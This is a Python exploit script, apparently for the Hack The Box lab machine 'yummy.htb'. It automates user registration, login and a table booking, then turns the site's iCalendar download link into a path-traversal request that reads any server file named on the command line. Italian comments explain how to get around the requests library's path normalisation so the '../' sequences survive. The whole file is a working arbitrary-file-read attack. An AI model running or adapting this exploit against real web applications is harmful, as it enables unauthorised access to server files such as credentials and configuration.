import requests
from bs4 import BeautifulSoup
import re
import sys

base_url = 'http://yummy.htb'
target_file = sys.argv[1]

if __name__ == '__main__':
    # register
    user_data = {
        'email': 'test12@test.com',
        'password': 'test12'
    }
    res = requests.post(f'{base_url}/register', json=user_data)
    if res.status_code == 400:
        print('User already registered, moving on')
    if res.status_code == 201:
        print('User registered successfully')

    # login
    res = requests.post(f'{base_url}/login', json=user_data)
    if res.status_code == 200:
        print('User logged in successfully')
        token = res.json()['access_token']
    else:
        raise Exception('Login failed')
    
    cookies = {
        'X-AUTH-Token': token,
    }

    # check if there is a reservation
    res = requests.get(f'{base_url}/dashboard', cookies=cookies)
    soup = BeautifulSoup(res.text, 'html.parser')
    ret = soup.find_all('a', string='Save iCalendar')
    if len(ret) == 0:
        # book a table
        table_info = {
            'name': 'test12',
            'email': 'test12@test.com',
            'phone': '1234567890',
            'date': '2024-10-23',
            'time': '15:1',
            'people': '1',
            'message': 'aaaaa'

        }
        res = requests.post(f'{base_url}/book', data=table_info, cookies=cookies)
        if res.status_code == 200:
            print('Table booked successfully')
        else:
            raise Exception('Table booking failed')
        
        res = requests.get(f'{base_url}/dashboard', cookies=cookies)
        soup = BeautifulSoup(res.text, 'html.parser')
        ret = soup.find_all('a', string='Save iCalendar')
    else:
        print('Table already booked')
    
    link = ret[0]['href']
    res = requests.get(f'{base_url}{link}', cookies=cookies, allow_redirects=False)
    session_token = res.cookies['session']
    cookies['session'] = session_token
    location = res.headers['Location']
    payload = '../../../../../..' + target_file
    target_path = re.sub(r'Yummy_reservation.*\.ics', payload, location)
    target_url = f'{base_url}{target_path}'
    # retrieve the file
    proxies = {
        'http': 'http://127.0.0.1:8080'
    }
    # ATTENZIONE!!!!
    # Questo non funziona:
    #res = requests.get(f'{base_url}{target_path}', cookies=cookies, proxies=proxies)
    # Perché requests normalizza il path e quindi rimuove i ../
    # Per evitare questo, bisogna fare così
    s = requests.Session()
    req = requests.Request(method='GET' ,url=target_url, cookies=cookies)
    prep = req.prepare()
    prep.url = target_url
    res = s.send(prep, verify=False)
    if res.status_code == 200:
        print('File retrieved successfully\n')
        print(res.text)
    else:
        print('File retrieval failed')
